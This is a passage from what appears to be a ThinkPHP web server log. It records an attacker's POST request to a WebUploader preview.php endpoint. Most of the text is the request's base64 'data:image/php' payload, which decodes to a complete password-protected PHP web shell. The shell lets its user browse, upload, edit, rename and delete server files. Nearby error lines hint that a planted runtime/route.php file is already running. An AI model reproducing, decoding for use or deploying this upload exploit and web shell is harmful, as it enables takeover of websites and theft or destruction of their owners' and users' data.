ZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:12+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002852s] [吞吐率:350.64req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk